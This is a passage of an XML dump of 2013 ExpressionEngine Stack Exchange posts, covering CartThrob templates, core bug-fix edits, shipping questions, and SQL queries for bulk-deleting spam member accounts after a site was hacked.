SHOP &amp;amp;raquo;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;                    {/if}&#xA;                    {if total_items &amp;gt; 0}&#xA;                        {if first_row}&#xA;                        {exp:cartthrob:update_cart_form  return=&quot;checkout&quot; class=&quot;cart_form&quot; show_errors=&quot;yes&quot; error_handling=&quot;inline&quot;}&#xA;                        {/if}&#xA;                        &amp;lt;ul class=&quot;cart-table&quot;&amp;gt;&#xA;                            {errors}&#xA;                            &amp;lt;p class=&quot;error&quot;&amp;gt;{error}&amp;lt;/p&amp;gt;&#xA;                            {/errors}&#xA;                            {if product_detail_image}&#xA;                                &amp;lt;img src=&quot;{product_detail_image:feed}&quot;/&amp;gt;&#xA;                            {if:else}&#xA;                            &amp;lt;img src=&quot;{site_url}content/img/ride.png&quot;/&amp;gt;&#xA;                            {/if}&#xA;                            &amp;lt;li&amp;gt;&amp;lt;p class=&quot;lead&quot;&amp;gt;&amp;lt;strong&amp;gt;{title}&amp;lt;/strong&amp;gt; &amp;lt;span&amp;gt;Qty: &amp;lt;input type=&quot;text&quot; name=&quot;quantity[{row_id}]&quot; size=&quot;1&quot; maxlength=&quot;2&quot; value=&quot;{quantity}&quot; /&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/p&amp;gt;&#xA;                                &amp;lt;p&amp;gt;{exp:cartthrob:item_options entry_id=&quot;{entry_id}&quot; row_id=&quot;{row_id}&quot;}&#xA;                                    {if dynamic}&#xA;                                                &amp;lt;label&amp;gt;{option_label}&amp;lt;/label&amp;gt;&#xA;                                                {input}&#xA;                                            {if:else}&#xA;                                                {if options_exist}&#xA;                                            {select} &#xA;                                                            {if &quot;{inventory}&quot; &amp;gt; &quot;0&quot;}&amp;lt;option {selected} value=&quot;{option_value}&quot;&amp;gt;{option_name} {option_price}&amp;lt;/option&amp;gt;{/if}&#xA;                                                        {/select}&#xA;                                                {/if}&#xA;                                            {/if}&#xA;                                        {/exp:cartthrob:item_options}&#xA;                                &amp;lt;span&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;delete[{row_id}]&quot;&amp;gt; Delete this item&amp;lt;/span&amp;gt;&amp;lt;/p&amp;gt;&#xA;                            &amp;lt;/li&amp;gt;&#xA;                        &amp;lt;/ul&amp;gt;&#xA;                        {if last_row}&#xA;                            &amp;lt;select name=&quot;shipping_option&quot;&amp;gt;&#xA;                            {exp:cartthrob:get_shipping_options}&#xA;                                    &amp;lt;option value=&quot;{rate_short_name}&quot; {if selected}selected{/if}&amp;gt;{rate_title} - {rate_price}&amp;lt;/option&amp;gt;&#xA;                                {/exp:cartthrob:get_shipping_options}&#xA;                            &amp;lt;/select&amp;gt;&#xA;                                &amp;lt;input type=&quot;submit&quot; value=&quot;Update Cart&quot; /&amp;gt;&#xA;                        {/exp:cartthrob:update_cart_form}&#xA;                        {/if}&#xA;                    {/if}&#xA;                {/exp:cartthrob:cart_items_info}&#xA;&#xA;{!-- CHECKOUT --}&#xA;                {exp:cartthrob:checkout_form return=&quot;checkout/order_status&quot; gateway=&quot;paypal_express&quot;&#xA;                    required=&quot;first_name|last_name|address|city|zip|country_code|shipping_address|shipping_city|shipping_zip|shipping_country_code|email_address&quot;&#xA;                }&#xA;                    {if total_items &amp;gt; 0}&#xA;                        &amp;lt;h3&amp;gt;Payment:&amp;lt;/h3&amp;gt;&#xA;                        {gateway_fields}&#xA;                        &amp;lt;input type=&quot;submit&quot; value=&quot;Checkout with Paypal&quot; /&amp;gt;&#xA;                    {/if}&#xA;                {/exp:cartthrob:checkout_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Quick note: I also tried&lt;/em&gt; &lt;pre&gt;{if segment_2 == &quot;order_status&quot;}&lt;/pre&gt; &lt;em&gt;but this is probably irrelevant&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="525" LastActivityDate="2013-05-21T14:15:38.730" Title="Cartthrob - clear_cart tag is rendering/acting despite wrapping conditional returning false" Tags="|cartthrob|redirects|shopping-cart|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10566" PostTypeId="1" CreationDate="2013-05-21T03:46:25.640" Score="1" ViewCount="96" Body="&lt;p&gt;on this &lt;a href=&quot;http://ee2.acer.edu.au/rd/archive/2013/April&quot; rel=&quot;nofollow&quot;&gt;http://ee2.acer.edu.au/rd/archive/2013/April&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this code &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;research-developments&quot; status=&quot;Featured|Open&quot; orderby=&quot;entry_date&quot; sort=&quot;desc&quot;  dynamic=&quot;off&quot; display_by=&quot;month&quot; limit=&quot;1&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but it always shows latest month so at the moment I have may for all archives when I need it to display each for each section , any ideas ?&lt;/p&gt;&#xA;" OwnerUserId="1533" LastEditorUserId="872" LastEditDate="2013-05-21T13:34:42.520" LastActivityDate="2013-05-21T13:34:42.520" Title="content to display by month in archive always shows current month rather then the month selected?" Tags="|category-archive|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10567" PostTypeId="1" AcceptedAnswerId="10587" CreationDate="2013-05-21T03:57:03.933" Score="2" ViewCount="1084" Body="&lt;p&gt;Got hacked! One of my client sites was hacked about 6 months ago. They got into the member pages and created 3,900 pages of members. I can delete them one page at a time. but it will take be days to get through them. Is there a work around can access the file or  the use myPHP Admin? The member groups are either 'Members&quot; or 'Pending'. There are only one member groups that I need and that is the 'Super Admin&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1330" LastActivityDate="2013-10-15T05:08:31.160" Title="Got Hacked ... Need to quickly delete 1000's of members" Tags="|spam|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10568" PostTypeId="2" ParentId="10407" CreationDate="2013-05-21T06:54:03.180" Score="1" Body="&lt;p&gt;I've hacked core in order to fix this bug:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In system/expressionengine/modules/rte/ft.rte.php, find:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        array(&#xA;            'html_format'   =&amp;gt; $this-&amp;gt;row['channel_html_formatting'],&#xA;            'auto_links'    =&amp;gt; $this-&amp;gt;row['channel_auto_link_urls'],&#xA;            'allow_img_url' =&amp;gt; $this-&amp;gt;row['channel_allow_img_urls']&#xA;        )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add this line in the array:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            'text_format'   =&amp;gt; $this-&amp;gt;row['field_ft_'.$this-&amp;gt;field_id],&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Feel free to report this bug with a link to this page.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Slightly related: I've also hacked this same method in order to avoid extra new lines to create empty &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I changed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;functions-&amp;gt;encode_ee_tags(ee()-&amp;gt;typography-&amp;gt;parse_file_paths($data))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;functions-&amp;gt;encode_ee_tags(trim(ee()-&amp;gt;typography-&amp;gt;parse_file_paths($data)))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1357" LastActivityDate="2013-05-21T06:54:03.180" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10569" PostTypeId="2" ParentId="10407" CreationDate="2013-05-21T07:12:11.070" Score="2" Body="&lt;p&gt;There seems to be a suggested bugfix &lt;a href=&quot;https://support.ellislab.com/bugs/detail/19405&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also discussed &lt;a href=&quot;http://ellislab.com/forums/viewthread/235328/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; on Ellislab's support site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically find this code (line 80 in system/expressionengine/modules/rte/ft.rte.php):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array(&#xA;    'html_format' =&amp;gt; $this-&amp;gt;row['channel_html_formatting'],&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And replace with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array(&#xA;    'text_format' =&amp;gt; 'xhtml',&#xA;    'html_format' =&amp;gt; $this-&amp;gt;row['channel_html_formatting'],&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can confirm I had the same problem and this fixed it.&lt;/p&gt;&#xA;" OwnerUserId="27" LastActivityDate="2013-05-21T07:12:11.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10570" PostTypeId="1" CreationDate="2013-05-21T07:40:45.163" Score="1" ViewCount="60" Body="&lt;p&gt;I have Fedex working for domestic (US) shipping calculations, if I enter a Japanese address the international economy option works but if I enter my home UK address I get a &quot;Destination country is not serviced.&quot; error - anyone know why this might be happening? I've tried entering a postcode with and without a space. The country dropdown is the standard Store field.&lt;/p&gt;&#xA;" OwnerUserId="871" LastActivityDate="2013-09-18T14:45:29.657" Title="Exp:resso Store &amp; Fedex International Economy to UK" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10571" PostTypeId="1" CreationDate="2013-05-21T08:44:27.910" Score="-3" ViewCount="93" Body="&lt;p&gt;want to disable the SEO URL structure of Expression engine, i don't understand how to do that&lt;/p&gt;&#xA;" OwnerUserId="1535" LastActivityDate="2013-05-21T09:59:02.197" Title="How to disable expression engine URL" Tags="|php|url|seo|" AnswerCount="1" CommentCount="1" ClosedDate="2013-08-06T16:10:38.897" ContentLicense="CC BY-SA 3.0" />
  <row Id="10572" PostTypeId="1" CreationDate="2013-05-21T09:18:43.777" Score="1" ViewCount="95" Body="&lt;p&gt;Setting out on a new EE / E Commerce project. One requirement is to take registration payments, and we would like to be able to manage these as subscriptions. I see that Cartthrob now provide a subscriptions add on which appears to do everything necessary. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I havent used CT for a few years. The support was great but there were a lot of kinks in the system and it was difficult for a 'less technical' user to troubleshoot, while Brilliant Retail, though limited, was quick and relatively easy to get up and running. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im looking for people's feedback on the current state of things with CT - has the reporting improved, can you get a general store set up quickly (as with Brilliant Retail)? Its expensive to get the whole suite (Cartthrob &amp;amp; Subscriptions) and Ive seen some reports of slow support. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any feedback would be greatly appreciated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;K&lt;/p&gt;&#xA;" OwnerUserId="793" LastActivityDate="2013-05-21T10:25:31.923" Title="Looking for Feedback on Cartthrob &amp; Using Cartthrob Subscriptions with Realex Payments" Tags="|ee2|cartthrob|ecommerce|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10573" PostTypeId="1" AcceptedAnswerId="10575" CreationDate="2013-05-21T09:35:13.147" Score="0" ViewCount="1130" Body="&lt;p&gt;One one of our sites, we have ChannelFiles add-on installed and in the control panel (when editing an entry) it outputs a useful set of variables (see attached). But this is only part of add-on and if it's not installed, those variables aren't outputted. Is there anyway I can output these variables without ChannelFiles?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Background: There are certain fields that I only want to ever appear when editing a specific entry so I include a bit of jquery in the field instruction to hide/show field by checking against the variables outputted by ChannelFiles add-on in the script tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://imagebin.org/258416&quot; rel=&quot;nofollow&quot;&gt;http://imagebin.org/258416&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt; (to clarify): I need this when editing the entry in the control panel of EE (see Background section on why) and not in the front end. As far as I know, I don't have access to the templates for the control panel (or do I?).&lt;/p&gt;&#xA;" OwnerUserId="789" LastEditorUserId="789" LastEditDate="2013-05-21T10:48:17.910" LastActivityDate="2013-05-21T12:33:38.390" Title="How to output variables such as the current page's entry_id in the script tag" Tags="|add-on|control-panel|javascript|variable|channel-files|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10574" PostTypeId="2" ParentId="10178" CreationDate="2013-05-21T09:36:37.507" Score="2" Body="&lt;p&gt;So after going to EEUK13 and seeing Ben Croker's talk, we're going to be using his lovely Open API module to deal with this stuff. If anyone wants to check it out, here's the link: &#xA;&lt;a href=&quot;https://github.com/putyourlightson/open-api&quot; rel=&quot;nofollow&quot;&gt;https://github.com/putyourlightson/open-api&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="308" LastActivityDate="2013-05-21T09:36:37.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10575" PostTypeId="2" ParentId="10573" CreationDate="2013-05-21T09:44:50.343" Score="0" Body="&lt;p&gt;You can output entry ids from within the channel:entries tag pair like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;my_channel&quot;}&#xA;  entry_id: {entry_id}&amp;lt;br&amp;gt;&#xA;{/exp:channel:entries&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#single-variables&quot; rel=&quot;nofollow&quot;&gt;Channel Entries documenation at EllisLab&lt;/a&gt; provide all the variable options available to you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can add this script to any of the field's Field Instructions section.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;  $(document).ready(function() {&#xA;    entryId = (document.URL).split('entry_id=')[1].replace(/\D/g,'');&#xA;    $('.heading h2').append(' #' + entryId); // adds to heading at top of form&#xA;    alert(&quot;entry id = &quot; + entryId);&#xA;  });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Second Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The previous script wasn't removing numerical characters from the url that occurred after the entry_id. The problem is that EE encodes the &lt;code&gt;&amp;amp;&lt;/code&gt; as &lt;code&gt;&amp;amp;amp;&lt;/code&gt;. So here's this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;  $(document).ready(function() {&#xA;    firstPart = (document.URL).split('entry_id=')[0];&#xA;    entryId = (document.URL).split('entry_id=')[1].split(firstPart[firstPart.length -1])[0];&#xA;    $('.heading h2').append(' #' + entryId);&#xA;  });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastEditorUserId="69" LastEditDate="2013-05-21T12:33:38.390" LastActivityDate="2013-05-21T12:33:38.390" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10576" PostTypeId="2" ParentId="10570" CreationDate="2013-05-21T09:52:26.143" Score="1" Body="&lt;p&gt;Sometimes the packaging type, dropoff type, and residential delivery options affect whether or not Fedex can deliver to a specified location. Try different combinations of the settings to see whether you can get them to quote you a price for shipping to the UK.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-05-21T09:52:26.143" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10577" PostTypeId="2" ParentId="10571" CreationDate="2013-05-21T09:59:02.197" Score="1" Body="&lt;p&gt;I presume what you're looking for is a way to break the strict template_group/template structure that EE adheres to by default. If so then the easiest way would be to use &lt;a href=&quot;http://devot-ee.com/add-ons/freebie&quot; rel=&quot;nofollow&quot;&gt;Freebie&lt;/a&gt; (free addon).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Freebie will allow you to define URL segments which EE will ignore completely so you can build up your own custom URL structure, integrate with Structure or anything else you need to achieve.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-05-21T09:59:02.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10579" PostTypeId="2" ParentId="10572" CreationDate="2013-05-21T10:25:31.923" Score="1" Body="&lt;p&gt;If you haven't used Cartthrob for a few years then things have moved on quite a bit. There are now several supporting products such as &lt;a href=&quot;http://cartthrob.com/site/product_detail/subscriptions&quot; rel=&quot;nofollow noreferrer&quot;&gt;Subscriptions&lt;/a&gt; but they don't come cheap. Previous issues with support are now being resolved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cartthrob is very flexible but can be considered more of a framework so it does take a little more work to get something up and running as you piece it all together yourself. If you want something simpler then &lt;a href=&quot;https://exp-resso.com/store&quot; rel=&quot;nofollow noreferrer&quot;&gt;Expresso Store&lt;/a&gt; is much simpler to get up and running and integrates seamlessly into ExpressionEngine. It's probably the most user friendly of the bunch. If you're looking to use a subscription model however then it may be a bit trickier with Store. In theory &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/9898/expresso-store-pseudo-subscriptions&quot;&gt;it may be possible to setup some kind of pseudo-subscriptions&lt;/a&gt; however but it isn't natively supported as of yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another alternative would be &lt;a href=&quot;http://devot-ee.com/add-ons/membrr-subscription-billing&quot; rel=&quot;nofollow noreferrer&quot;&gt;Membrr&lt;/a&gt; for subscription billing and recurring payments. If subscriptions are your primary concern then this may be all you need. You may also be able to integrate one of the other ecommerce addons for your other regular product sales if desired. &lt;/p&gt;&#xA;" OwnerUserId="422" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-05-21T10:25:31.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10580" PostTypeId="2" ParentId="10573" CreationDate="2013-05-21T10:36:11.007" Score="0" Body="&lt;p&gt;I'd output the entry_id to the page as a hidden value, much as Stephen suggested, and then look to grab that with JavaScript. If you're viewing a specific entry_id for the page you're viewing then you made need to pass that in as a parameter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;my_channel&quot; entry_id=&quot;{entry_id}&quot;}&#xA;    &amp;lt;p class=&quot;hidden&quot;&amp;gt;entry_id: {entry_id}&amp;lt;/p&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you're just looking to use JS to show and hide specific fields depending on an entry ID however then you could do that purely on the server-side:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if entry_id=&quot;10&quot;} ... {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This would have the benefit of being usable by those without JS enabled too.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-05-21T10:36:11.007" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10581" PostTypeId="2" ParentId="10567" CreationDate="2013-05-21T10:46:52.117" Score="3" Body="&lt;p&gt;First of all back up the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then if you know that they are all fake then you can run an SQL query like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DELETE&#xA;FROM `exp_members`&#xA;WHERE `group_id` = x&#xA;WHERE last_visit = 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where group_id would be the member group and you're also checking for last visit as an extra safety net so you're not deleting your own Super Admin account or any member accounts which have been logged into.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just use with caution and always back-up first. Double-check that you know which members are real and fake and that you have a way to distinguish in the filtering.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-05-21T10:46:52.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10582" PostTypeId="1" AcceptedAnswerId="11155" CreationDate="2013-05-21T11:03:16.463" Score="2" ViewCount="368" Body="&lt;p&gt;Within my &lt;code&gt;exp:channel:entries&lt;/code&gt; tag, I am using the &lt;code&gt;categories&lt;/code&gt; tag pair to show the categories that the entry is in. However, it is only showing the last category that the entry is in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries}&#xA;    &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;{url_title_path='photos'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&amp;lt;br /&amp;gt;&#xA;    {image_upload}&#xA;        &amp;lt;img src=&quot;{path}_thumbs/{filename}.{extension}&quot; /&amp;gt;&#xA;    {/image_upload}&#xA;    &amp;lt;a href=&quot;{url_title_path='photos/printing'}&quot;&amp;gt;Print this photo&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;&#xA;    Categories: {categories backspace=&quot;2&quot;}{category_name}, {/categories}&amp;lt;br /&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the same on both the development and live sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a number of categories in the database (a couple of hundred), but each entry is only in around 2 or 3 categories. The correct categories are all selected when editing the entry in the admin panel.&lt;/p&gt;&#xA;" OwnerUserId="823" LastActivityDate="2014-03-24T22:45:01.350" Title="Channel entries category tag only showing last category" Tags="|channel-entries|categories|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10583" PostTypeId="2" ParentId="10567" CreationDate="2013-05-21T11:10:09.447" Score="6" Body="&lt;p&gt;You will need to delete the same member records from &quot;exp_member_data&quot; tables also.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use this SQL query and can run from PHPMYADMIN like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DELETE exp_members, exp_member_data &#xA;FROM exp_members &#xA;LEFT JOIN exp_member_data ON exp_member_data.member_id = exp_members.member_id &#xA;WHERE exp_members.group_id = 5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This query will delete all the member records having group id as 5 from both tables exp_members and exp_member_data. You can change group id according to your preference and also can put more conditions in WHERE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest you to take database backup before running the SQL.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-05-21T11:10:09.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10584" PostTypeId="2" ParentId="10566" CreationDate="2013-05-21T12:48:47.883" Score="1" Body="&lt;p&gt;If dynamic is &quot;off&quot;, the channel:entries isn't influenced by URL parameters.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-05-21T12:48:47.883" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10585" PostTypeId="1" AcceptedAnswerId="10590" CreationDate="2013-05-21T13:26:25.610" Score="0" ViewCount="75" Body="&lt;p&gt;Is there a good way to determine which page template was loaded for a given URI? I'd like to be able to use this information from an add-on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if my root template group is &lt;code&gt;home&lt;/code&gt; and the user visits &lt;code&gt;/&lt;/code&gt;, I want to see that &lt;code&gt;home/index&lt;/code&gt; is being used. If the user visits &lt;code&gt;/foo&lt;/code&gt;, does EE expose information about whether it has loaded &lt;code&gt;home/foo&lt;/code&gt; or &lt;code&gt;foo/index&lt;/code&gt; or something else?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When using Structure, I can check for a global variable named &lt;code&gt;structure:page:template_id&lt;/code&gt;, and if that exists, I can easily query for that template. But if Structure isn't in use, I can't find a good way to determine which template is used.&lt;/p&gt;&#xA;" OwnerUserId="26" LastActivityDate="2013-05-21T14:19:34.360" Title="Determine template from extension" Tags="|templates|add-on-development|structure|plugin|extension|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10586" PostTypeId="1" AcceptedAnswerId="10594" CreationDate="2013-05-21T13:27:07.003" Score="0" ViewCount="318" Body="&lt;p&gt;I've got quite a bizarre setup to get the most recent &quot;Rated&quot; entries (Via Solspace Rating Module) and output the related Product &amp;amp; Video to that entry (Which is handled via Playa)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:rating:entries&#xA;    collection=&quot;Video Reviews&quot;&#xA;    orderby=&quot;rating_date&quot;&#xA;    sort=&quot;desc&quot;&#xA;    limit=&quot;1&quot;&#xA;    dynamic=&quot;no&quot;&#xA;}&#xA;&#xA;    {exp:channel:entries channel=&quot;entry_video&quot; orderby=&quot;date&quot; limit=&quot;1&quot; dynamic=&quot;off&quot; entry_id=&quot;{entry_id}&quot;}&#xA;&#xA;        {title}&#xA;&#xA;        {cf_video_related_products limit=&quot;1&quot;}&#xA;            {title}&#xA;        {/cf_video_related_products}&#xA;&#xA;        {cf_video_related_video limit=&quot;1&quot;}&#xA;            {title}&#xA;        {/cf_video_related_video}&#xA;&#xA;    {/exp:channel:entries}&#xA;&#xA;{/exp:rating:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now when I run this, it works... Except I get something like this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Rating Title&lt;br&gt;&#xA;  Rating Title&lt;br&gt;&#xA;  Rating Title&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When really I want it to be:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Rating Title&lt;br&gt;&#xA;  Product Title&lt;br&gt;&#xA;  Video Title&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Now I know what's happening... There is multiple title tags and it's possibly pulling the {title} from the Rating module or the Channel Entries loop for every {title} var.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought of changing this, so i use the var_prefix parameter supplied by Playa, but this doesn't work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:rating:entries&#xA;    collection=&quot;Video Reviews&quot;&#xA;    orderby=&quot;rating_date&quot;&#xA;    sort=&quot;desc&quot;&#xA;    limit=&quot;1&quot;&#xA;    dynamic=&quot;no&quot;&#xA;}&#xA;&#xA;    {exp:channel:entries channel=&quot;entry_video&quot; orderby=&quot;date&quot; limit=&quot;1&quot; dynamic=&quot;off&quot; entry_id=&quot;{entry_id}&quot;}&#xA;&#xA;        {title}&#xA;&#xA;        {cf_video_related_products limit=&quot;1&quot;}&#xA;            {title}&#xA;        {/cf_video_related_products}&#xA;&#xA;        {exp:playa:children field=&quot;cf_video_related_products&quot; limit=&quot;1&quot; var_prefix=&quot;product&quot;}&#xA;            {product:title}&#xA;        {/exp:playa:children}&#xA;&#xA;        {exp:playa:children field=&quot;cf_video_related_video&quot; limit=&quot;1&quot; var_prefix=&quot;video&quot;}&#xA;            {video:title}&#xA;        {/exp:playa:children}&#xA;&#xA;    {/exp:channel:entries}&#xA;&#xA;{/exp:rating:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But all this does is output:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;{product:title}&lt;br&gt;&#xA;  {video:title}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Am I doing something wrong? I've tried &lt;code&gt;parse=&quot;inward&quot;&lt;/code&gt; but that doesn't help neither. Because I thought it might of been the parse order causing this.&lt;/p&gt;&#xA;" OwnerUserId="362" LastActivityDate="2013-05-21T14:31:29.637" Title="P&amp;T Playa and Var Prefix" Tags="|playa|pixelandtonic|solspace-rating|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10587" PostTypeId="2" ParentId="10567" CreationDate="2013-05-21T13:38:09.220" Score="8" Body="&lt;p&gt;If you'd prefer not to do this through a SQL query, you can also get the member list in the control panel to show more members on a page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to the member list page in the CP and add these parameters to the end of the  URL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;amp;group_id=4&amp;amp;perpage=1000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Make sure you check that the group_id parameter matches the group you want to view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using this to delete members through the control panel, it will only delete 1000 members at a time. So even if you set the &quot;perpage&quot; parameter to 5000 and select all of those members to delete, it will only delete the first 1000.&lt;/p&gt;&#xA;" OwnerUserId="915" LastActivityDate="2013-05-21T13:38:09.220" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
